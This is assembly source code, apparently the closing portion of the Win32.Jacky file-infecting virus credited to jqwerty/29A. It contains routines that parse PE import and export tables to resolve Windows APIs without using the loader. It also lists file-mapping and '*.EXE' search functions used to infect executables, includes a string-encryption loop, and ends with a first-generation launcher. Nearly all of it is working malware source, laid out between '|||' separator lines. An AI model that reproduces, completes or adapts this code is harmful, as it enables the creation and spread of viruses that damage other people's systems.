|||
|
|
|||
|
mov edi,[esi.NT_OptionalHeader \ ;get address of import table
|
|||
|
.OH_DirectoryEntries \
|
|||
|
.DE_Import \
|
|||
|
.DD_VirtualAddress \
|
|||
|
-MZ_lfanew]
|
|||
|
mov edx,[ebx.SH_VirtualAddress] ;get RVA start pointer of
|
|||
|
sub edi,edx ;current section
|
|||
|
add ebx,x
|
|||
|
cmp edi,[ebx.SH_VirtualSize - x] ;address of import table
|
|||
|
;inside current section?
|
|||
|
jb import_section_found ;yea, we found it
|
|||
|
loop match_virtual ;no, try next section
|
|||
|
jmp End_GetProcAddressIT ;no more sectionz, shit.. go
|
|||
|
|
|||
|
import_section_found:
|
|||
|
|
|||
|
push edi
|
|||
|
mov eax,[ebx.SH_SizeOfRawData - x]
|
|||
|
mov ebx,[ebx.SH_PointerToRawData - x]
|
|||
|
xchg ebp,eax ;get RAW size of import section (EBP)
|
|||
|
add ebx,eax ;get RAW start of import section (EBX)
|
|||
|
cld
|
|||
|
x = IMAGE_SIZEOF_IMPORT_DESCRIPTOR
|
|||
|
|
|||
|
Get_DLL_Name: ;scan each import descriptor inside import section to match
|
|||
|
;module name specified
|
|||
|
|
|||
|
pop esi ;diference (if any) between start
|
|||
|
;of imp.table and start of imp.section
|
|||
|
mov ecx,[ebx.esi.ID_Name] ;get RVA pointer to imp.module name
|
|||
|
|
|||
|
End_GetProcAddressIT2:
|
|||
|
|
|||
|
jecxz End_GetProcAddressIT ;end of import descriptorz?
|
|||
|
sub ecx,edx ;convert RVA pointer to RAW
|
|||
|
cmp ecx,ebp ;check if it points inside section
|
|||
|
jae End_GetProcAddressIT
|
|||
|
add esi,x
|
|||
|
push esi ;save next import descriptor for later
|
|||
|
lea esi,[ebx + ecx] ;retrieval
|
|||
|
mov edi,[esp.(Pshd).cPushad.Arg2] ;get module name specified
|
|||
|
;from Arg2
|
|||
|
Next_char_from_DLL: ;do a char by char comparison with module name found
|
|||
|
;inside section. Stop when a NULL or a dot is found
|
|||
|
lodsb
|
|||
|
add al,-'.'
|
|||
|
jz IT_nup ;its a dot
|
|||
|
sub al,-'.'+'a'
|
|||
|
cmp al, 'z'-'a'+ 1
|
|||
|
jae no_up
|
|||
|
add al,-20h ;convert to upercase
|
|||
|
no_up: sub al,-'a'
|
|||
|
IT_nup: scasb
|
|||
|
jnz Get_DLL_Name ;names dont match, get next import descriptor
|
|||
|
cmp byte ptr [edi-1],0
|
|||
|
jnz Next_char_from_DLL
|
|||
|
|
|||
|
Found_DLL_name: ;we got the import descriptor containin specified module name
|
|||
|
|
|||
|
pop esi
|
|||
|
lea eax,[edx + esi.ID_ForwarderChain - x]
|
|||
|
add esi,ebx
|
|||
|
mov [esp.Pushad_edx],eax ;store ptr to ForwarderChain for l8r
|
|||
|
mov [esp.Pushad_esi],esi ;store ptr to imp.descriptor for l8r
|
|||
|
push dword ptr [esp.cPushad.Arg3]
|
|||
|
mov eax,[esp.(Pshd).Pushad_ebp]
|
|||
|
push dword ptr [eax + K32Mod - v_end]
|
|||
|
call GetProcAddressET ;scan exp.table of spec.module handle
|
|||
|
xchg eax,ecx ;and get function adress of spec.API
|
|||
|
mov ecx,[esi.ID_FirstThunk - x] ;This is needed just in case the
|
|||
|
;API function adressez are bound
|
|||
|
jecxz End_GetProcAddressIT ;if not found then go, this value cant
|
|||
|
;be zero or the IAT wont be patched
|
|||
|
push eax
|
|||
|
call GetProcAddrIAT ;inspect first thunk (which later will
|
|||
|
test eax,eax ;be patched by the loader)
|
|||
|
jnz IAT_found ;if found then jump (save it and go)
|
|||
|
mov ecx,[esi.ID_OriginalFirstThunk - x] ;get original thunk
|
|||
|
;(which later will hold the original
|
|||
|
;unpatched IAT)
|
|||
|
jecxz End_GetProcAddressIT ;if not found then go, this value
|
|||
|
push eax ;could be zero
|
|||
|
call GetProcAddrIAT ;inspect original thunk
|
|||
|
test eax,eax
|
|||
|
jz IAT_found ;jump if not found
|
|||
|
sub eax,ecx ;we got the pointer
|
|||
|
add eax,[esi.ID_FirstThunk - x] ;convert it to RVA
|
|||
|
db 6Bh,33h,0C0h ;imul esi,[ebx],-0C0h ;bizarre! but no jump
|
|||
|
org $ - 2 ;necesary!
|
|||
|
|
|||
|
End_GetProcAddressIT:
|
|||
|
|
|||
|
db 33h,0C0h ;xor eax,eax ;error, adress not found
|
|||
|
|
|||
|
IAT_found:
|
|||
|
|
|||
|
mov [esp.Pushad_eax],eax ;save IAT entry pointer
|
|||
|
popad
|
|||
|
ret (3*Pshd) ;go and unwind parameterz in stack
|
|||
|
|
|||
|
GetProcAddrIAT: ;this function scans the IMAGE_THUNK_DATA array of "dwords"
|
|||
|
; from the selected IMAGE_IMPORT_DESCRIPTOR, searchin for
|
|||
|
; the selected API name. This function works for both
|
|||
|
; bound and unbound import descriptorz. This function is
|
|||
|
; called from inside GetProcAddressIT.
|
|||
|
;on entry:
|
|||
|
; EBX = RAW start pointer of import section
|
|||
|
; ECX = RVA pointer to IMAGE_THUNK_ARRAY
|
|||
|
; EDX = RVA start pointer of import section
|
|||
|
; EDI = pointer selected API function name.
|
|||
|
; EBP = RAW size of import section
|
|||
|
; TOS+04h (Arg1): real address of API function inside selected
|
|||
|
; module (in case the descriptor is unbound).
|
|||
|
; TOS+00h (return adress)
|
|||
|
;on exit:
|
|||
|
; EAX = RVA pointer to IAT entry
|
|||
|
; EAX = 0, if not found
|
|||
|
|
|||
|
push ecx
|
|||
|
push esi
|
|||
|
|
|||
|
xor eax,eax
|
|||
|
sub ecx,edx
|
|||
|
cmp ecx,ebp
|
|||
|
jae IT_not_found
|
|||
|
lea esi,[ebx + ecx] ;get RAW pointer to IMAGE_THUNK_DATA array
|
|||
|
|
|||
|
next_thunk_dword:
|
|||
|
|
|||
|
lodsd ;get dword value
|
|||
|
test eax,eax ;end of IMAGE_THUNK_DATA array?
|
|||
|
jz IT_not_found
|
|||
|
|
|||
|
no_ordinal:
|
|||
|
|
|||
|
sub eax,edx ;convert dword to a RAW pointer
|
|||
|
cmp eax,ebp ;dword belongs to an unbound image descriptor?
|
|||
|
jb IT_search ;no, jump
|
|||
|
add eax,edx ;we have the API adress, reconvert to RVA
|
|||
|
cmp eax,[esp.(2*Pshd).Arg1] ;API adressez match?
|
|||
|
jmp IT_found? ;yea, we found it, jump
|
|||
|
|
|||
|
IT_search:
|
|||
|
|
|||
|
push esi ;image descr.contains imports by name
|
|||
|
lea esi,[ebx+eax.IBN_Name] ;get API name from import descriptor
|
|||
|
mov edi,[esp.(5*Pshd).cPushad.Arg3] ;get API name selected as a
|
|||
|
;parameter
|
|||
|
IT_next_char:
|
|||
|
;find req.API from all imported API namez
|
|||
|
cmpsb ;do APIz match?
|
|||
|
jnz IT_new_search ;no, continue searchin
|
|||
|
|
|||
|
IT_Matched_char:
|
|||
|
|
|||
|
cmp byte ptr [esi-1],0
|
|||
|
jnz IT_next_char
|
|||
|
|
|||
|
IT_new_search:
|
|||
|
|
|||
|
pop esi ;yea, they match, we found it
|
|||
|
|
|||
|
IT_found?:
|
|||
|
|
|||
|
jnz next_thunk_dword
|
|||
|
lea eax,[edx+esi-4] ;get the pointer to the new IAT entry
|
|||
|
sub eax,ebx ;convert it to RVA
|
|||
|
|
|||
|
IT_not_found:
|
|||
|
|
|||
|
pop esi
|
|||
|
pop ecx
|
|||
|
|
|||
|
ret (Pshd)
|
|||
|
|
|||
|
GetProcAddressIT endp
|
|||
|
|
|||
|
GetProcAddressET proc ;This function is similar to GetProcAddressIT except
|
|||
|
; that it looks for API functions in the export table
|
|||
|
; of a given DLL module. It has the same functionality
|
|||
|
; as the original GetProcAddress API exported from
|
|||
|
; KERNEL32 except that it is able to find API
|
|||
|
; functions exported by ordinal from KERNEL32.
|
|||
|
;on entry:
|
|||
|
; TOS+08h (Arg2): pszAPIname (pointer to API name)
|
|||
|
; TOS+04h (Arg1): module handle/base address of module
|
|||
|
; TOS+00h (return adress)
|
|||
|
;on exit:
|
|||
|
; ECX = API function address
|
|||
|
; ECX = 0, if not found
|
|||
|
pushad
|
|||
|
mov eax,[esp.cPushad.Arg1] ;get Module Handle from Arg1
|
|||
|
mov ebx,eax
|
|||
|
add eax,[eax.MZ_lfanew] ;get address of PE header
|
|||
|
mov ecx,[eax.NT_OptionalHeader \ ;get size of Export directory
|
|||
|
.OH_DirectoryEntries \
|
|||
|
.DE_Export \
|
|||
|
.DD_Size]
|
|||
|
jecxz Proc_Address_not_found ;size is zero, No API exported !
|
|||
|
mov ebp,ebx ;get address of Export directory
|
|||
|
add ebp,[eax.NT_OptionalHeader \
|
|||
|
.OH_DirectoryEntries \
|
|||
|
.DE_Export \
|
|||
|
.DD_VirtualAddress]
|
|||
|
ifndef NoOrdinal
|
|||
|
mov eax,[esp.cPushad.Arg2] ;get address of requested API name or
|
|||
|
;ordinal value from Arg2
|
|||
|
test eax,-10000h ;check if Arg2 is an ordinal
|
|||
|
jz Its_API_ordinal
|
|||
|
endif
|
|||
|
|
|||
|
Its_API_name:
|
|||
|
|
|||
|
push ecx
|
|||
|
mov edx,ebx ;get address of exported API names
|
|||
|
add edx,[ebp.ED_AddressOfNames]
|
|||
|
mov ecx,[ebp.ED_NumberOfNames] ;get number of exported API names
|
|||
|
xor eax,eax
|
|||
|
cld
|
|||
|
|
|||
|
Search_for_API_name:
|
|||
|
|
|||
|
mov esi,ebx ;get address of next exported API name
|
|||
|
add esi,[edx+eax*4]
|
|||
|
mov edi,[esp.Pshd.cPushad.Arg2] ;get address of requested API name
|
|||
|
;from Arg2
|
|||
|
Next_Char_in_API_name:
|
|||
|
|
|||
|
cmpsb ;find requested API from all
|
|||
|
jz Matched_char_in_API_name ;exported API namez
|
|||
|
inc eax
|
|||
|
loop Search_for_API_name
|
|||
|
pop eax
|
|||
|
|
|||
|
Proc_Address_not_found:
|
|||
|
|
|||
|
xor eax,eax ;API not found
|
|||
|
jmp End_GetProcAddressET
|
|||
|
|
|||
|
ifndef NoOrdinal
|
|||
|
|
|||
|
Its_API_ordinal:
|
|||
|
|
|||
|
sub eax,[ebp.ED_BaseOrdinal] ;normalize Ordinal, i.e.
|
|||
|
jmp Check_Index ;convert it to an index
|
|||
|
endif
|
|||
|
|
|||
|
Matched_char_in_API_name:
|
|||
|
|
|||
|
cmp byte ptr [esi-1],0 ;end of API name reached?
|
|||
|
jnz Next_Char_in_API_name
|
|||
|
pop ecx
|
|||
|
mov edx,ebx ;get address of exp.API ordinals
|
|||
|
add edx,[ebp.ED_AddressOfOrdinals]
|
|||
|
movzx eax,word ptr [edx+eax*2] ;get index into exp.API functions
|
|||
|
|
|||
|
Check_Index:
|
|||
|
|
|||
|
cmp eax,[ebp.ED_NumberOfFunctions] ;check for out of range index
|
|||
|
jae Proc_Address_not_found
|
|||
|
mov edx,ebx ;get address of exported API functions
|
|||
|
add edx,[ebp.ED_AddressOfFunctions]
|
|||
|
add ebx,[edx+eax*4] ;get address of requested API function
|
|||
|
mov eax,ebx
|
|||
|
sub ebx,ebp ;take care of forwarded API functions
|
|||
|
cmp ebx,ecx
|
|||
|
jb Proc_Address_not_found
|
|||
|
|
|||
|
End_GetProcAddressET:
|
|||
|
|
|||
|
mov [esp.Pushad_ecx],eax ;set requested Proc Address, if found
|
|||
|
popad
|
|||
|
ret (2*Pshd)
|
|||
|
|
|||
|
GetProcAddressET endp
|
|||
|
|
|||
|
MyGetProcAddressK32: ;this function is simply a wraper to the GetProcAddress
|
|||
|
; API. It retrieves the address of an API function
|
|||
|
; exported from KERNEL32.
|
|||
|
;on entry:
|
|||
|
; TOS+04h (Arg1): pszAPIname (pointer to API name)
|
|||
|
; TOS+00h (return adress)
|
|||
|
;on exit:
|
|||
|
; ECX = API function address
|
|||
|
; ECX = 0, if not found
|
|||
|
|
|||
|
|
|||
|
pop eax
|
|||
|
push dword ptr [ebp + K32Mod - v_end] ;KERNEL32 module handle
|
|||
|
push eax
|
|||
|
|
|||
|
MyGetProcAddress proc
|
|||
|
|
|||
|
mov ecx,12345678h ;this dynamic variable will hold an RVA
|
|||
|
ddGetProcAddress = dword ptr $ - 4 ;pointer to the GetProcAddress API in
|
|||
|
;the IAT
|
|||
|
gotoGetProcAddressET:
|
|||
|
|
|||
|
jecxz GetProcAddressET
|
|||
|
push [esp.Arg2]
|
|||
|
push [esp.(Pshd).Arg1]
|
|||
|
add ecx,[ebp + phost_hdr - v_end]
|
|||
|
call [ecx] ;call the original GetProcAddress API
|
|||
|
xchg ecx,eax
|
|||
|
jecxz gotoGetProcAddressET ;if error, call my own GetProcAddress
|
|||
|
ret (2*Pshd) ;function
|
|||
|
|
|||
|
MyGetProcAddress endp
|
|||
|
|
|||
|
MyGetModuleHandleA proc ;this function retrieves the base address/module
|
|||
|
;handle of a DLL module previosly loaded to memory.
|
|||
|
pop ecx
|
|||
|
pop eax
|
|||
|
push ecx
|
|||
|
mov edx,[ebp + phost_hdr - v_end]
|
|||
|
mov ecx,12345678h ;this dynamic variable will hold an RVA
|
|||
|
ddGetModuleHandleA = dword ptr $ - 4 ;pointer to the GetModuleHandleA API in
|
|||
|
jecxz check_K32 ;the IAT
|
|||
|
|
|||
|
GetModHandleA:
|
|||
|
|
|||
|
push eax
|
|||
|
call [ecx + edx] ;call the original GetModuleHandleA API
|
|||
|
xor ecx,ecx
|
|||
|
jmp really_PE?
|
|||
|
|
|||
|
check_K32:
|
|||
|
|
|||
|
mov eax,[edx + 12345678h] ;this dynamic variable will hold an
|
|||
|
;RVA pointer to the ForwarderChain
|
|||
|
;field in the KERNEL32 import
|
|||
|
;descriptor. This is an undocumented
|
|||
|
ptrForwarderChain = dword ptr $ - 4 ;feature to get the K32 base address
|
|||
|
inc eax
|
|||
|
jz End_GetModHandleA ;make sure the base address is ok
|
|||
|
dec eax
|
|||
|
jz End_GetModHandleA
|
|||
|
cmp eax,12345678h ;this dynamic variable will hold the
|
|||
|
;prev.contents of the ForwarderChain
|
|||
|
;field in the K32 import descriptor
|
|||
|
ddForwarderChain = dword ptr $ - 4 ;if they match, then the Win32 loader
|
|||
|
jz End_GetModHandleA ;didnt copy the K32 base address
|
|||
|
|
|||
|
really_PE?:
|
|||
|
|
|||
|
cmp word ptr [eax],IMAGE_DOS_SIGNATURE ;make sure its the base
|
|||
|
jnz End_GetModHandleA ;address of a PE module
|
|||
|
mov edx,[eax.MZ_lfanew]
|
|||
|
cmp dword ptr [eax + edx],IMAGE_NT_SIGNATURE
|
|||
|
jnz End_GetModHandleA
|
|||
|
xchg ecx,eax
|
|||
|
|
|||
|
End_GetModHandleA:
|
|||
|
|
|||
|
ret
|
|||
|
|
|||
|
MyGetModuleHandleA endp
|
|||
|
|
|||
|
align 4 ;set dword alignment
|
|||
|
|
|||
|
v_end:
|
|||
|
|
|||
|
;uninitialized data ;these variablez will be addressed in memory, but
|
|||
|
;dont waste space in the file
|
|||
|
|
|||
|
pv_start dd ? ;pointer to virus start in memory
|
|||
|
phost_hdr dd ? ;ptr to the host base address in mem
|
|||
|
K32Mod dd ? ;KERNEL32 base address
|
|||
|
|
|||
|
FunctionAddressez: ;these variables will hold the API function addressez
|
|||
|
;used in the virus
|
|||
|
|
|||
|
ddCreateFileA dd ?
|
|||
|
ddCreateFileMappingA dd ?
|
|||
|
ddCloseHandle dd ?
|
|||
|
ddUnmapViewOfFile dd ?
|
|||
|
ddMapViewOfFile dd ?
|
|||
|
ddFindFirstFileA dd ?
|
|||
|
ddFindNextFileA dd ?
|
|||
|
ddFindClose dd ?
|
|||
|
ddSetFileAttributesA dd ?
|
|||
|
ddSetFilePointer dd ?
|
|||
|
ddSetEndOfFile dd ?
|
|||
|
ddSetFileTime dd ?
|
|||
|
|
|||
|
v_stringz: ;the API names used by the virus are decrypted here
|
|||
|
|
|||
|
vszKernel32 db 'KERNEL32',0
|
|||
|
vszGetModuleHandleA db 'GetModuleHandleA',0
|
|||
|
vszGetProcAddress db 'GetProcAddress',0
|
|||
|
|
|||
|
EXE_filez db '*.EXE',0 ;the file mask
|
|||
|
|
|||
|
FunctionNamez:
|
|||
|
|
|||
|
vszCreateFileA db 'CreateFileA',0
|
|||
|
vszCreateFileMappingA db 'CreateFileMappingA',0
|
|||
|
vszCloseHandle db 'CloseHandle',0
|
|||
|
vszUnmapViewOfFile db 'UnmapViewOfFile',0
|
|||
|
vszMapViewOfFile db 'MapViewOfFile',0
|
|||
|
vszFindFirstFileA db 'FindFirstFileA',0
|
|||
|
vszFindNextFileA db 'FindNextFileA',0
|
|||
|
vszFindClose db 'FindClose',0
|
|||
|
vszSetFileAttributesA db 'SetFileAttributesA',0
|
|||
|
vszSetFilePointer db 'SetFilePointer',0
|
|||
|
vszSetEndOfFile db 'SetEndOfFile',0
|
|||
|
vszSetFileTime db 'SetFileTime',0
|
|||
|
|
|||
|
EndOfFunctionNames db 0
|
|||
|
|
|||
|
align 4
|
|||
|
|
|||
|
FindData WIN32_FIND_DATA ?
|
|||
|
|
|||
|
virtual_end:
|
|||
|
|
|||
|
first_generation: ;this routine will be called only once from the first
|
|||
|
;generation sample, it simply initializes some variables
|
|||
|
;needed in the very first run.
|
|||
|
jumps
|
|||
|
push NULL
|
|||
|
call GetModuleHandleA
|
|||
|
test eax,eax
|
|||
|
jz exit_host
|
|||
|
xchg ecx,eax
|
|||
|
call here
|
|||
|
here: pop ebx
|
|||
|
|
|||
|
mov eax,ebx
|
|||
|
sub eax,here - v_start
|
|||
|
sub eax,ecx
|
|||
|
neg eax
|
|||
|
mov [ebx + delta_host - here],eax ;set delta host value
|
|||
|
|
|||
|
mov eax,ebx
|
|||
|
sub eax,here - host
|
|||
|
sub eax,ecx
|
|||
|
neg eax
|
|||
|
mov [ebx + phost_start_rva - here],eax ;set pointer to
|
|||
|
;host's base adress
|
|||
|
mov eax,[ebx + pfnGMH - here]
|
|||
|
.if word ptr [eax] == 25FFh ; JMP [nnnnnnnn]
|
|||
|
mov eax,[eax + 2]
|
|||
|
.endif
|
|||
|
sub eax,ecx
|
|||
|
mov [ebx + ddGetModuleHandleA - here],eax ;set GetModuleHandleA
|
|||
|
;RVA pointer
|
|||
|
mov eax,[ebx + pfnGPA - here]
|
|||
|
.if word ptr [eax] == 25FFh ; JMP [nnnnnnnn]
|
|||
|
mov eax,[eax + 2]
|
|||
|
.endif
|
|||
|
sub eax,ecx
|
|||
|
mov [ebx + ddGetProcAddress - here],eax ;set GetProcAddress
|
|||
|
;RVA pointer
|
|||
|
pushad ;encrypt unencrypted API namez and other
|
|||
|
;stringz
|
|||
|
cld
|
|||
|
mov ecx,ve_string_size
|
|||
|
lea esi,[ebx + ve_stringz - here]
|
|||
|
mov edi,esi
|
|||
|
call crypt_back
|
|||
|
popad
|
|||
|
jmp v_start ;ok, here we go.. jump to virus start..
|
|||
|
|
|||
|
crypt_back: ;encryption routine
|
|||
|
|
|||
|
lodsb
|
|||
|
not al
|
|||
|
ror al,cl
|
|||
|
stosb
|
|||
|
loop crypt_back
|
|||
|
ret
|
|||
|
|
|||
|
pfnGMH dd offset GetModuleHandleA
|
|||
|
pfnGPA dd offset GetProcAddress
|
|||
|
|
|||
|
;Host code starts here
|
|||
|
|
|||
|
extrn MessageBoxA: proc
|
|||
|
extrn ExitProcess: proc
|
|||
|
|
|||
|
host: ;here begins the original host code
|
|||
|
|
|||
|
;Display Message box
|
|||
|
|
|||
|
push MB_OK
|
|||
|
@pushsz "(c) Win32.Jacky by jqwerty/29A"
|
|||
|
@pushsz "First generation sample"
|
|||
|
push NULL
|
|||
|
call MessageBoxA
|
|||
|
|
|||
|
;Exit host
|
|||
|
|
|||
|
exit_host:
|
|||
|
|
|||
|
push 0
|
|||
|
call ExitProcess
|
|||
|
|
|||
|
end first_generation
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|